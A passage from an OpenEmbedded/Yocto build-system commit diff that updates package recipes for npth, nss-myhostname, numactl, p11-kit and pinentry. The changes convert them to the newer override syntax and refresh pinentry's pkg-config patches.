++ case "x$ac_cv_search_pthread_create" in
+ xno)
+ have_pthread=no
+ ;;
+@@ -297,7 +295,7 @@ if test "$have_w32_system" = no; then
+ ;;
+ *)
+ have_pthread=yes
+- config_libs="$config_libs $ac_cv_search_pthread_detach"
++ config_libs="$config_libs $ac_cv_search_pthread_create"
+ ;;
+ esac
+ if test "$have_pthread" != no; then
+--
+2.31.1
+
diff --git a/meta/recipes-support/npth/npth_1.6.bb b/meta/recipes-support/npth/npth_1.6.bb
index 88484acec3..8c94cc22c1 100644
--- a/meta/recipes-support/npth/npth_1.6.bb
+++ b/meta/recipes-support/npth/npth_1.6.bb
@@ -1,4 +1,5 @@
SUMMARY = "New GNU Portable Threads library"
+DESCRIPTION = "nPth is a library to provide the GNU Pth API and thus a non-preemptive threads implementation. "
HOMEPAGE = "https://www.gnu.org/software/pth/"
SECTION = "libs"
LICENSE = "LGPLv2+"
@@ -8,6 +9,7 @@ LIC_FILES_CHKSUM = "\
UPSTREAM_CHECK_URI = "https://gnupg.org/download/index.html"
SRC_URI = "${GNUPG_MIRROR}/npth/npth-${PV}.tar.bz2 \
file://pkgconfig.patch \
+ file://0001-Revert-Fix-problem-with-regression-tests-on-recent-g.patch \
"
SRC_URI[md5sum] = "375d1a15ad969f32d25f1a7630929854"
@@ -17,10 +19,10 @@ BINCONFIG = "${bindir}/npth-config"
inherit autotools binconfig-disabled multilib_header
-FILES_${PN} = "${libdir}/libnpth.so.*"
-FILES_${PN}-dev += "${bindir}/npth-config"
+FILES:${PN} = "${libdir}/libnpth.so.*"
+FILES:${PN}-dev += "${bindir}/npth-config"
-do_install_append() {
+do_install:append() {
oe_multilib_header npth.h
}
diff --git a/meta/recipes-support/nss-myhostname/nss-myhostname_0.3.bb b/meta/recipes-support/nss-myhostname/nss-myhostname_0.3.bb
index 074f713205..969e20e283 100644
--- a/meta/recipes-support/nss-myhostname/nss-myhostname_0.3.bb
+++ b/meta/recipes-support/nss-myhostname/nss-myhostname_0.3.bb
@@ -14,18 +14,18 @@ SRC_URI[sha256sum] = "2ba744ea8d578d1c57c85884e94a3042ee17843a5294434d3a7f6c4d67
inherit autotools features_check
-COMPATIBLE_HOST_libc-musl = 'null'
+COMPATIBLE_HOST:libc-musl = 'null'
# The systemd has its own copy of nss-myhostname
CONFLICT_DISTRO_FEATURES = "systemd"
-pkg_postinst_${PN} () {
+pkg_postinst:${PN} () {
sed -e '/^hosts:/s/\s*\<myhostname\>//' \
-e 's/\(^hosts:.*\)\(\<files\>\)\(.*\)\(\<dns\>\)\(.*\)/\1\2 myhostname \3\4\5/' \
-i $D${sysconfdir}/nsswitch.conf
}
-pkg_prerm_${PN} () {
+pkg_prerm:${PN} () {
sed -e '/^hosts:/s/\s*\<myhostname\>//' \
-e '/^hosts:/s/\s*myhostname//' \
-i $D${sysconfdir}/nsswitch.conf
diff --git a/meta/recipes-support/numactl/numactl/0001-define-run-test-target.patch b/meta/recipes-support/numactl/numactl/0001-define-run-test-target.patch
index 78ffb22f89..9e65a45133 100644
--- a/meta/recipes-support/numactl/numactl/0001-define-run-test-target.patch
+++ b/meta/recipes-support/numactl/numactl/0001-define-run-test-target.patch
@@ -1,6 +1,6 @@
rename test target as run-test
-Upstream-Statue: Pending
+Upstream-Status: Pending
test target not only compile the test files, but also run them, which is
not suitable for cross-compile environment, so rename it as run-test.
diff --git a/meta/recipes-support/numactl/numactl_git.bb b/meta/recipes-support/numactl/numactl_git.bb
index 6c8a667a41..19f2293a51 100644
--- a/meta/recipes-support/numactl/numactl_git.bb
+++ b/meta/recipes-support/numactl/numactl_git.bb
@@ -13,7 +13,7 @@ LIC_FILES_CHKSUM = "file://README.md;beginline=19;endline=32;md5=f8ff2391624f28e
SRCREV = "dd6de072c92c892a86e18c0fd0dfa1ba57a9a05d"
PV = "2.0.14"
-SRC_URI = "git://github.com/numactl/numactl \
+SRC_URI = "git://github.com/numactl/numactl;branch=master;protocol=https \
file://Fix-the-test-output-format.patch \
file://Makefile \
file://run-ptest \
@@ -22,8 +22,8 @@ SRC_URI = "git://github.com/numactl/numactl \
S = "${WORKDIR}/git"
-LDFLAGS_append_riscv64 = " -latomic"
-LDFLAGS_append_riscv32 = " -latomic"
+LDFLAGS:append:riscv64 = " -latomic"
+LDFLAGS:append:riscv32 = " -latomic"
do_install() {
oe_runmake DESTDIR=${D} prefix=${D}/usr install
@@ -56,4 +56,4 @@ do_install_ptest() {
install -m 0755 ${B}/.libs/numactl ${D}${PTEST_PATH}/
}
-RDEPENDS_${PN}-ptest = "bash"
+RDEPENDS:${PN}-ptest = "bash"
diff --git a/meta/recipes-support/p11-kit/p11-kit_0.23.21.bb b/meta/recipes-support/p11-kit/p11-kit_0.23.21.bb
deleted file mode 100644
index b1fd2334b2..0000000000
--- a/meta/recipes-support/p11-kit/p11-kit_0.23.21.bb
+++ /dev/null
@@ -1,29 +0,0 @@
-SUMMARY = "Provides a way to load and enumerate PKCS#11 modules"
-LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://COPYING;md5=02933887f609807fbb57aa4237d14a50"
-
-inherit meson gettext pkgconfig gtk-doc bash-completion
-
-DEPENDS = "libtasn1 libtasn1-native libffi"
-
-DEPENDS_append = "${@' glib-2.0' if d.getVar('GTKDOC_ENABLED') == 'True' else ''}"
-
-SRC_URI = "git://github.com/p11-glue/p11-kit"
-SRCREV = "fd8b56f3ee971f94dc6fc95411fc01e1c12153ab"
-S = "${WORKDIR}/git"
-
-PACKAGECONFIG ??= ""
-PACKAGECONFIG[trust-paths] = "-Dtrust_paths=/etc/ssl/certs/ca-certificates.crt,,,ca-certificates"
-
-GTKDOC_MESON_OPTION = 'gtk_doc'
-
-FILES_${PN} += " \
- ${libdir}/p11-kit-proxy.so \
- ${libdir}/pkcs11/*.so \
- ${libdir}/pkcs11/*.la \
- ${systemd_user_unitdir}/*"
-
-# PN contains p11-kit-proxy.so, a symlink to a loadable module
-INSANE_SKIP_${PN} = "dev-so"
-
-BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-support/p11-kit/p11-kit_0.24.0.bb b/meta/recipes-support/p11-kit/p11-kit_0.24.0.bb
new file mode 100644
index 0000000000..7fe3c37fde
--- /dev/null
+++ b/meta/recipes-support/p11-kit/p11-kit_0.24.0.bb
@@ -0,0 +1,32 @@
+SUMMARY = "Provides a way to load and enumerate PKCS#11 modules"
+DESCRIPTION = " Provides a standard configuration setup for installing PKCS#11 modules in such a way that they're discoverable. Also solves problems with coordinating the use of PKCS#11 by different components or libraries living in the same process."
+HOMEPAGE = "https://p11-glue.github.io/p11-glue/p11-kit.html"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=02933887f609807fbb57aa4237d14a50"
+
+inherit meson gettext pkgconfig gtk-doc bash-completion manpages
+
+DEPENDS = "libtasn1 libtasn1-native libffi"
+
+DEPENDS:append = "${@' glib-2.0' if d.getVar('GTKDOC_ENABLED') == 'True' else ''}"
+
+SRC_URI = "git://github.com/p11-glue/p11-kit;branch=master;protocol=https"
+SRCREV = "34826623f58399b24c21f1788e2cdaea34521b7b"
+S = "${WORKDIR}/git"
+
+PACKAGECONFIG ??= ""
+PACKAGECONFIG[manpages] = "-Dman=true,-Dman=false,libxslt-native"
+PACKAGECONFIG[trust-paths] = "-Dtrust_paths=/etc/ssl/certs/ca-certificates.crt,,,ca-certificates"
+
+GTKDOC_MESON_OPTION = 'gtk_doc'
+
+FILES:${PN} += " \
+ ${libdir}/p11-kit-proxy.so \
+ ${libdir}/pkcs11/*.so \
+ ${libdir}/pkcs11/*.la \
+ ${systemd_user_unitdir}/*"
+
+# PN contains p11-kit-proxy.so, a symlink to a loadable module
+INSANE_SKIP:${PN} = "dev-so"
+
+BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-support/pinentry/pinentry-1.1.0/gpg-error_pkconf.patch b/meta/recipes-support/pinentry/pinentry-1.1.0/gpg-error_pkconf.patch
deleted file mode 100644
index 431edb0351..0000000000
--- a/meta/recipes-support/pinentry/pinentry-1.1.0/gpg-error_pkconf.patch
+++ /dev/null
@@ -1,100 +0,0 @@
-Convert to pkg-config support to match changes done to
-the gpg-error recipe for gpg-error.pc generation.
-
-Upstream-Status: Inappropriate [OE specific]
-
-Signed-off-by: Armin Kuster <akuster@mvista.com>
-
-Index: pinentry-1.0.0/m4/gpg-error.m4
-===================================================================
---- pinentry-1.0.0.orig/m4/gpg-error.m4
-+++ pinentry-1.0.0/m4/gpg-error.m4
-@@ -25,74 +25,12 @@ dnl config script does not match the hos
- dnl is added to the gpg_config_script_warn variable.
- dnl
- AC_DEFUN([AM_PATH_GPG_ERROR],
--[ AC_REQUIRE([AC_CANONICAL_HOST])
-- gpg_error_config_prefix=""
-- dnl --with-libgpg-error-prefix=PFX is the preferred name for this option,
-- dnl since that is consistent with how our three siblings use the directory/
-- dnl package name in --with-$dir_name-prefix=PFX.
-- AC_ARG_WITH(libgpg-error-prefix,
-- AC_HELP_STRING([--with-libgpg-error-prefix=PFX],
-- [prefix where GPG Error is installed (optional)]),
-- [gpg_error_config_prefix="$withval"])
--
-- dnl Accept --with-gpg-error-prefix and make it work the same as
-- dnl --with-libgpg-error-prefix above, for backwards compatibility,
-- dnl but do not document this old, inconsistently-named option.
-- AC_ARG_WITH(gpg-error-prefix,,
-- [gpg_error_config_prefix="$withval"])
--
-- if test x"${GPG_ERROR_CONFIG}" = x ; then
-- if test x"${gpg_error_config_prefix}" != x ; then
-- GPG_ERROR_CONFIG="${gpg_error_config_prefix}/bin/gpg-error-config"
-- else
-- case "${SYSROOT}" in
-- /*)
-- if test -x "${SYSROOT}/bin/gpg-error-config" ; then
-- GPG_ERROR_CONFIG="${SYSROOT}/bin/gpg-error-config"
-- fi
-- ;;
-- '')
-- ;;
-- *)
-- AC_MSG_WARN([Ignoring \$SYSROOT as it is not an absolute path.])
-- ;;
-- esac
-- fi
-- fi
--
-- AC_PATH_PROG(GPG_ERROR_CONFIG, gpg-error-config, no)
-+[
- min_gpg_error_version=ifelse([$1], ,0.0,$1)
-- AC_MSG_CHECKING(for GPG Error - version >= $min_gpg_error_version)
-- ok=no
-- if test "$GPG_ERROR_CONFIG" != "no" \
-- && test -f "$GPG_ERROR_CONFIG" ; then
-- req_major=`echo $min_gpg_error_version | \
-- sed 's/\([[0-9]]*\)\.\([[0-9]]*\)/\1/'`
-- req_minor=`echo $min_gpg_error_version | \
-- sed 's/\([[0-9]]*\)\.\([[0-9]]*\)/\2/'`
-- gpg_error_config_version=`$GPG_ERROR_CONFIG $gpg_error_config_args --version`
-- major=`echo $gpg_error_config_version | \
-- sed 's/\([[0-9]]*\)\.\([[0-9]]*\).*/\1/'`
-- minor=`echo $gpg_error_config_version | \
-- sed 's/\([[0-9]]*\)\.\([[0-9]]*\).*/\2/'`
-- if test "$major" -gt "$req_major"; then
-- ok=yes
-- else
-- if test "$major" -eq "$req_major"; then
-- if test "$minor" -ge "$req_minor"; then
-- ok=yes
-- fi
-- fi
-- fi
-- fi
-+ PKG_CHECK_MODULES(GPG_ERROR, [gpg-error >= $min_gpg_error_version gpg-error], [ok=yes], [ok=no])
- if test $ok = yes; then
-- GPG_ERROR_CFLAGS=`$GPG_ERROR_CONFIG $gpg_error_config_args --cflags`
-- GPG_ERROR_LIBS=`$GPG_ERROR_CONFIG $gpg_error_config_args --libs`
-- GPG_ERROR_MT_CFLAGS=`$GPG_ERROR_CONFIG $gpg_error_config_args --mt --cflags 2>/dev/null`
-- GPG_ERROR_MT_LIBS=`$GPG_ERROR_CONFIG $gpg_error_config_args --mt --libs 2>/dev/null`
-- AC_MSG_RESULT([yes ($gpg_error_config_version)])
- ifelse([$2], , :, [$2])
-- gpg_error_config_host=`$GPG_ERROR_CONFIG $gpg_error_config_args --host 2>/dev/null || echo none`
-+ gpg_error_config_host=`$PKG_CONFIG --host gpg-error 2>/dev/null || echo none`
- if test x"$gpg_error_config_host" != xnone ; then
- if test x"$gpg_error_config_host" != x"$host" ; then
- AC_MSG_WARN([[
-@@ -107,10 +45,6 @@ AC_DEFUN([AM_PATH_GPG_ERROR],
- fi
- fi
- else
-- GPG_ERROR_CFLAGS=""
-- GPG_ERROR_LIBS=""
-- GPG_ERROR_MT_CFLAGS=""
-- GPG_ERROR_MT_LIBS=""
- AC_MSG_RESULT(no)
- ifelse([$3], , :, [$3])
- fi
diff --git a/meta/recipes-support/pinentry/pinentry-1.1.0/libassuan_pkgconf.patch b/meta/recipes-support/pinentry/pinentry-1.1.0/libassuan_pkgconf.patch
deleted file mode 100644
index 11d564f35d..0000000000
--- a/meta/recipes-support/pinentry/pinentry-1.1.0/libassuan_pkgconf.patch
+++ /dev/null
@@ -1,153 +0,0 @@
-Convert to pkg-config support to match changes done to
-the libassuan recipe for libassuan.pc generation.
-
-Upstream-Status: Inappropriate [OE specific]
-
-Signed-off-by: Armin Kuster <akuster@mvista.com>
-
-Index: pinentry-1.0.0/m4/libassuan.m4
-===================================================================
---- pinentry-1.0.0.orig/m4/libassuan.m4
-+++ pinentry-1.0.0/m4/libassuan.m4
-@@ -13,34 +13,8 @@ dnl
- dnl Common code used for libassuan detection [internal]
- dnl Returns ok set to yes or no.
- dnl
--AC_DEFUN([_AM_PATH_LIBASSUAN_COMMON],
--[ AC_REQUIRE([AC_CANONICAL_HOST])
-- AC_ARG_WITH(libassuan-prefix,
-- AC_HELP_STRING([--with-libassuan-prefix=PFX],
-- [prefix where LIBASSUAN is installed (optional)]),
-- libassuan_config_prefix="$withval", libassuan_config_prefix="")
-- if test x$libassuan_config_prefix != x ; then
-- libassuan_config_args="$libassuan_config_args --prefix=$libassuan_config_prefix"
-- if test x${LIBASSUAN_CONFIG+set} != xset ; then
-- LIBASSUAN_CONFIG=$libassuan_config_prefix/bin/libassuan-config
-- fi
-- else
-- case "${SYSROOT}" in
-- /*)
-- if test -x "${SYSROOT}/bin/libassuan-config" ; then
-- LIBASSUAN_CONFIG="${SYSROOT}/bin/libassuan-config"
-- fi
-- ;;
-- '')
-- ;;
-- *)
-- AC_MSG_WARN([Ignoring \$SYSROOT as it is not an absolute path.])
-- ;;
-- esac
-- fi
--
-- AC_PATH_TOOL(LIBASSUAN_CONFIG, libassuan-config, no)
--
-+AC_DEFUN([AM_PATH_LIBASSUAN_COMMON],
-+[
- tmp=ifelse([$1], ,1:0.9.2,$1)
- if echo "$tmp" | grep ':' >/dev/null 2>/dev/null ; then
- req_libassuan_api=`echo "$tmp" | sed 's/\(.*\):\(.*\)/\1/'`
-@@ -50,51 +24,11 @@ AC_DEFUN([_AM_PATH_LIBASSUAN_COMMON],
- min_libassuan_version="$tmp"
- fi
-
-- AC_MSG_CHECKING(for LIBASSUAN - version >= $min_libassuan_version)
-- ok=no
-- if test "$LIBASSUAN_CONFIG" != "no" \
-- && test -f "$LIBASSUAN_CONFIG" ; then
-- req_major=`echo $min_libassuan_version | \
-- sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\.\([[0-9]]*\)/\1/'`
-- req_minor=`echo $min_libassuan_version | \
-- sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\.\([[0-9]]*\)/\2/'`
-- req_micro=`echo $min_libassuan_version | \
-- sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\.\([[0-9]]*\)/\3/'`
--
-- libassuan_config_version=`$LIBASSUAN_CONFIG --version`
-- major=`echo $libassuan_config_version | \
-- sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\.\([[0-9]]*\).*/\1/'`
-- minor=`echo $libassuan_config_version | \
-- sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\.\([[0-9]]*\).*/\2/'`
-- micro=`echo $libassuan_config_version | \
-- sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\.\([[0-9]]*\).*/\3/'`
--
-- if test "$major" -gt "$req_major"; then
-- ok=yes
-- else
-- if test "$major" -eq "$req_major"; then
-- if test "$minor" -gt "$req_minor"; then
-- ok=yes
-- else
-- if test "$minor" -eq "$req_minor"; then
-- if test "$micro" -ge "$req_micro"; then
-- ok=yes
-- fi
-- fi
-- fi
-- fi
-- fi
-- fi
--
-- if test $ok = yes; then
-- AC_MSG_RESULT([yes ($libassuan_config_version)])
-- else
-- AC_MSG_RESULT(no)
-- fi
-+ PKG_CHECK_MODULES(LIBASSUAN_COMMON, [libassuan >= $min_libassuan_version libassuan], [ok=yes], [ok=no])
-
- if test $ok = yes; then
- if test "$req_libassuan_api" -gt 0 ; then
-- tmp=`$LIBASSUAN_CONFIG --api-version 2>/dev/null || echo 0`
-+ tmp=`$PKG_CONFIG --variable=api_version libassuan 2>/dev/null || echo 0`
- if test "$tmp" -gt 0 ; then
- AC_MSG_CHECKING([LIBASSUAN API version])
- if test "$req_libassuan_api" -eq "$tmp" ; then
-@@ -109,7 +43,7 @@ AC_DEFUN([_AM_PATH_LIBASSUAN_COMMON],
-
- if test $ok = yes; then
- if test x"$host" != x ; then
-- libassuan_config_host=`$LIBASSUAN_CONFIG --host 2>/dev/null || echo none`
-+ libassuan_config_host=`$PKG_CONFIG --host libassuan 2>/dev/null || echo 0`
- if test x"$libassuan_config_host" != xnone ; then
- if test x"$libassuan_config_host" != x"$host" ; then
- AC_MSG_WARN([[
-@@ -132,7 +66,7 @@ dnl Test whether libassuan has at least
- dnl used to test for features only available in newer versions.
- dnl
- AC_DEFUN([AM_CHECK_LIBASSUAN],
--[ _AM_PATH_LIBASSUAN_COMMON($1)
-+[ AM_PATH_LIBASSUAN_COMMON($1)
- if test $ok = yes; then
- ifelse([$2], , :, [$2])
- else
-@@ -148,16 +82,10 @@ dnl [ACTION-IF-FOUND [
- dnl Test for libassuan and define LIBASSUAN_CFLAGS and LIBASSUAN_LIBS
- dnl
- AC_DEFUN([AM_PATH_LIBASSUAN],
--[ _AM_PATH_LIBASSUAN_COMMON($1)
-+[ AM_PATH_LIBASSUAN_COMMON($1)
- if test $ok = yes; then
-- LIBASSUAN_CFLAGS=`$LIBASSUAN_CONFIG $libassuan_config_args --cflags`
-- LIBASSUAN_LIBS=`$LIBASSUAN_CONFIG $libassuan_config_args --libs`
- ifelse([$2], , :, [$2])
- else
-- LIBASSUAN_CFLAGS=""
-- LIBASSUAN_LIBS=""
- ifelse([$3], , :, [$3])
- fi
-- AC_SUBST(LIBASSUAN_CFLAGS)
-- AC_SUBST(LIBASSUAN_LIBS)
- ])
-Index: pinentry-1.0.0/configure.ac
-===================================================================
---- pinentry-1.0.0.orig/configure.ac
-+++ pinentry-1.0.0/configure.ac
-@@ -266,8 +266,8 @@ if test "$have_libassuan" = "yes"; then
- [version of the libassuan library])
- fi
-
--COMMON_CFLAGS="$LIBASSUAN_CFLAGS $COMMON_CFLAGS"
--COMMON_LIBS="$LIBASSUAN_LIBS $COMMON_LIBS"
-+COMMON_CFLAGS="$LIBASSUAN_COMMON_CFLAGS $COMMON_CFLAGS"
-+COMMON_LIBS="$LIBASSUAN_COMMON_LIBS $COMMON_LIBS"
-
-
- dnl Checks for libsecmem.
diff --git a/meta/recipes-support/pinentry/pinentry-1.2.0/gpg-error_pkconf.patch b/meta/recipes-support/pinentry/pinentry-1.2.0/gpg-error_pkconf.patch
new file mode 100644
index 0000000000..507c0c3917
--- /dev/null
+++ b/meta/recipes-support/pinentry/pinentry-1.2.0/gpg-error_pkconf.patch
@@ -0,0 +1,195 @@
+From 54a4c9d3e5f1897ed4b978d5cdee646ca7a4f637 Mon Sep 17 00:00:00 2001
+From: Armin Kuster <akuster@mvista.com>
+Date: Fri, 2 Sep 2005 11:50:01 +0000
+Subject: [PATCH] Add gtk+, avahi, dbus-0.34 (.36 coming soon) and
+
+Convert to pkg-config support to match changes done to
+the gpg-error recipe for gpg-error.pc generation.
+
+Upstream-Status: Inappropriate [OE specific]
+
+Signed-off-by: Armin Kuster <akuster@mvista.com>
+
+---
+ m4/gpg-error.m4 | 159 ++----------------------------------------------
+ 1 file changed, 4 insertions(+), 155 deletions(-)
+
+diff --git a/m4/gpg-error.m4 b/m4/gpg-error.m4
+index 56a5d07..c0bec1f 100644
+--- a/m4/gpg-error.m4
++++ b/m4/gpg-error.m4
+@@ -26,159 +26,12 @@ dnl config script does not match the host specification the script
+ dnl is added to the gpg_config_script_warn variable.
+ dnl
+ AC_DEFUN([AM_PATH_GPG_ERROR],
+-[ AC_REQUIRE([AC_CANONICAL_HOST])
+- gpg_error_config_prefix=""
+- dnl --with-libgpg-error-prefix=PFX is the preferred name for this option,
+- dnl since that is consistent with how our three siblings use the directory/
+- dnl package name in --with-$dir_name-prefix=PFX.
+- AC_ARG_WITH(libgpg-error-prefix,
+- AS_HELP_STRING([--with-libgpg-error-prefix=PFX],
+- [prefix where GPG Error is installed (optional)]),
+- [gpg_error_config_prefix="$withval"])
+-
+- dnl Accept --with-gpg-error-prefix and make it work the same as
+- dnl --with-libgpg-error-prefix above, for backwards compatibility,
+- dnl but do not document this old, inconsistently-named option.
+- AC_ARG_WITH(gpg-error-prefix,,
+- [gpg_error_config_prefix="$withval"])
+-
+- if test x"${GPG_ERROR_CONFIG}" = x ; then
+- if test x"${gpg_error_config_prefix}" != x ; then
+- GPG_ERROR_CONFIG="${gpg_error_config_prefix}/bin/gpg-error-config"
+- else
+- case "${SYSROOT}" in
+- /*)
+- if test -x "${SYSROOT}/bin/gpg-error-config" ; then
+- GPG_ERROR_CONFIG="${SYSROOT}/bin/gpg-error-config"
+- fi
+- ;;
+- '')
+- ;;
+- *)
+- AC_MSG_WARN([Ignoring \$SYSROOT as it is not an absolute path.])
+- ;;
+- esac
+- fi
+- fi
+-
+- AC_PATH_PROG(GPG_ERROR_CONFIG, gpg-error-config, no)
+- min_gpg_error_version=ifelse([$1], ,1.33,$1)
+- ok=no
+-
+- AC_PATH_PROG(GPGRT_CONFIG, gpgrt-config, no, [$prefix/bin:$PATH])
+- if test "$GPGRT_CONFIG" != "no"; then
+- # Determine gpgrt_libdir
+- #
+- # Get the prefix of gpgrt-config assuming it's something like:
+- # <PREFIX>/bin/gpgrt-config
+- gpgrt_prefix=${GPGRT_CONFIG%/*/*}
+- possible_libdir1=${gpgrt_prefix}/lib
+- # Determine by using system libdir-format with CC, it's like:
+- # Normal style: /usr/lib
+- # GNU cross style: /usr/<triplet>/lib
+- # Debian style: /usr/lib/<multiarch-name>
+- # Fedora/openSUSE style: /usr/lib, /usr/lib32 or /usr/lib64
+- # It is assumed that CC is specified to the one of host on cross build.
+- if libdir_candidates=$(${CC:-cc} -print-search-dirs | \
+- sed -n -e "/^libraries/{s/libraries: =//;s/:/\\
+-/g;p;}"); then
+- # From the output of -print-search-dirs, select valid pkgconfig dirs.
+- libdir_candidates=$(for dir in $libdir_candidates; do
+- if p=$(cd $dir 2>/dev/null && pwd); then
+- test -d "$p/pkgconfig" && echo $p;
+- fi
+- done)
+-
+- for possible_libdir0 in $libdir_candidates; do
+- # possible_libdir0:
+- # Fallback candidate, the one of system-installed (by $CC)
+- # (/usr/<triplet>/lib, /usr/lib/<multiarch-name> or /usr/lib32)
+- # possible_libdir1:
+- # Another candidate, user-locally-installed
+- # (<gpgrt_prefix>/lib)
+- # possible_libdir2
+- # Most preferred
+- # (<gpgrt_prefix>/<triplet>/lib,
+- # <gpgrt_prefix>/lib/<multiarch-name> or <gpgrt_prefix>/lib32)
+- if test "${possible_libdir0##*/}" = "lib"; then
+- possible_prefix0=${possible_libdir0%/lib}
+- possible_prefix0_triplet=${possible_prefix0##*/}
+- if test -z "$possible_prefix0_triplet"; then
+- continue
+- fi
+- possible_libdir2=${gpgrt_prefix}/$possible_prefix0_triplet/lib
+- else
+- possible_prefix0=${possible_libdir0%%/lib*}
+- possible_libdir2=${gpgrt_prefix}${possible_libdir0#$possible_prefix0}
+- fi
+- if test -f ${possible_libdir2}/pkgconfig/gpg-error.pc; then
+- gpgrt_libdir=${possible_libdir2}
+- elif test -f ${possible_libdir1}/pkgconfig/gpg-error.pc; then
+- gpgrt_libdir=${possible_libdir1}
+- elif test -f ${possible_libdir0}/pkgconfig/gpg-error.pc; then
+- gpgrt_libdir=${possible_libdir0}
+- fi
+- if test -n "$gpgrt_libdir"; then break; fi
+- done
+- else
+- # When we cannot determine system libdir-format, use this:
+- gpgrt_libdir=${possible_libdir1}
+- fi
+- else
+- unset GPGRT_CONFIG
+- fi
+-
+- if test -n "$gpgrt_libdir"; then
+- GPGRT_CONFIG="$GPGRT_CONFIG --libdir=$gpgrt_libdir"
+- if $GPGRT_CONFIG gpg-error >/dev/null 2>&1; then
+- GPG_ERROR_CONFIG="$GPGRT_CONFIG gpg-error"
+- AC_MSG_NOTICE([Use gpgrt-config with $gpgrt_libdir as gpg-error-config])
+- gpg_error_config_version=`$GPG_ERROR_CONFIG --modversion`
+- else
+- unset GPGRT_CONFIG
+- fi
+- elif test "$GPG_ERROR_CONFIG" != "no"; then
+- gpg_error_config_version=`$GPG_ERROR_CONFIG --version`
+- fi
+- if test "$GPG_ERROR_CONFIG" != "no"; then
+- req_major=`echo $min_gpg_error_version | \
+- sed 's/\([[0-9]]*\)\.\([[0-9]]*\)/\1/'`
+- req_minor=`echo $min_gpg_error_version | \
+- sed 's/\([[0-9]]*\)\.\([[0-9]]*\)/\2/'`
+- major=`echo $gpg_error_config_version | \
+- sed 's/\([[0-9]]*\)\.\([[0-9]]*\).*/\1/'`
+- minor=`echo $gpg_error_config_version | \
+- sed 's/\([[0-9]]*\)\.\([[0-9]]*\).*/\2/'`
+- if test "$major" -gt "$req_major"; then
+- ok=yes
+- else
+- if test "$major" -eq "$req_major"; then
+- if test "$minor" -ge "$req_minor"; then
+- ok=yes
+- fi
+- fi
+- fi
+- fi
+- AC_MSG_CHECKING(for GPG Error - version >= $min_gpg_error_version)
++[
++ min_gpg_error_version=ifelse([$1], ,0.0,$1)
++ PKG_CHECK_MODULES(GPG_ERROR, [gpg-error >= $min_gpg_error_version gpg-error], [ok=yes], [ok=no])
+ if test $ok = yes; then
+- GPG_ERROR_CFLAGS=`$GPG_ERROR_CONFIG --cflags`
+- GPG_ERROR_LIBS=`$GPG_ERROR_CONFIG --libs`
+- if test -z "$GPGRT_CONFIG"; then
+- GPG_ERROR_MT_CFLAGS=`$GPG_ERROR_CONFIG --mt --cflags 2>/dev/null`
+- GPG_ERROR_MT_LIBS=`$GPG_ERROR_CONFIG --mt --libs 2>/dev/null`
+- else
+- GPG_ERROR_MT_CFLAGS=`$GPG_ERROR_CONFIG --variable=mtcflags 2>/dev/null`
+- GPG_ERROR_MT_CFLAGS="$GPG_ERROR_CFLAGS${GPG_ERROR_CFLAGS:+ }$GPG_ERROR_MT_CFLAGS"
+- GPG_ERROR_MT_LIBS=`$GPG_ERROR_CONFIG --variable=mtlibs 2>/dev/null`
+- GPG_ERROR_MT_LIBS="$GPG_ERROR_LIBS${GPG_ERROR_LIBS:+ }$GPG_ERROR_MT_LIBS"
+- fi
+- AC_MSG_RESULT([yes ($gpg_error_config_version)])
+ ifelse([$2], , :, [$2])
+- if test -z "$GPGRT_CONFIG"; then
+- gpg_error_config_host=`$GPG_ERROR_CONFIG --host 2>/dev/null || echo none`
+- else
+- gpg_error_config_host=`$GPG_ERROR_CONFIG --variable=host 2>/dev/null || echo none`
+- fi
++ gpg_error_config_host=`$PKG_CONFIG --host gpg-error 2>/dev/null || echo none`
+ if test x"$gpg_error_config_host" != xnone ; then
+ if test x"$gpg_error_config_host" != x"$host" ; then
+ AC_MSG_WARN([[
+@@ -193,10 +46,6 @@ AC_DEFUN([AM_PATH_GPG_ERROR],
+ fi
+ fi
+ else
+- GPG_ERROR_CFLAGS=""
+- GPG_ERROR_LIBS=""
+- GPG_ERROR_MT_CFLAGS=""
+- GPG_ERROR_MT_LIBS=""
+ AC_MSG_RESULT(no)
+ ifelse([$3], , :, [$3])
+ fi
diff --git a/meta/recipes-support/pinentry/pinentry-1.2.0/libassuan_pkgconf.patch b/meta/recipes-support/pinentry/pinentry-1.2.0/libassuan_pkgconf.patch
new file mode 100644
index 0000000000..f4aec2d1c3
--- /dev/null
+++ b/meta/recipes-support/pinentry/pinentry-1.2.0/libassuan_pkgconf.patch
@@ -0,0 +1,170 @@
+From 26fb6c3faa27180c8ed9ada1728c3d8683a65f3a Mon Sep 17 00:00:00 2001
+From: Armin Kuster <akuster@mvista.com>
+Date: Thu, 22 May 2014 10:50:00 +0100
+Subject: [PATCH] libassuan: Improve pkgconfig support
+
+Convert to pkg-config support to match changes done to
+the libassuan recipe for libassuan.pc generation.
+
+Upstream-Status: Inappropriate [OE specific]
+
+Signed-off-by: Armin Kuster <akuster@mvista.com>
+
+---
+ configure.ac | 4 +--
+ m4/libassuan.m4 | 93 ++++---------------------------------------------
+ 2 files changed, 9 insertions(+), 88 deletions(-)
+
+diff --git a/configure.ac b/configure.ac
+index d8dcc0c..ca51766 100644
+--- a/configure.ac
++++ b/configure.ac
+@@ -267,8 +267,8 @@ if test "$have_libassuan" = "yes"; then
+ [version of the libassuan library])
+ fi
+
+-COMMON_CFLAGS="$LIBASSUAN_CFLAGS $COMMON_CFLAGS"
+-COMMON_LIBS="$LIBASSUAN_LIBS $COMMON_LIBS"
++COMMON_CFLAGS="$LIBASSUAN_COMMON_CFLAGS $COMMON_CFLAGS"
++COMMON_LIBS="$LIBASSUAN_COMMON_LIBS $COMMON_LIBS"
+
+
+ dnl Checks for libsecmem.
+diff --git a/m4/libassuan.m4 b/m4/libassuan.m4
+index df50484..2057412 100644
+--- a/m4/libassuan.m4
++++ b/m4/libassuan.m4
+@@ -15,30 +15,8 @@ dnl
+ dnl Common code used for libassuan detection [internal]
+ dnl Returns ok set to yes or no.
+ dnl
+-AC_DEFUN([_AM_PATH_LIBASSUAN_COMMON],
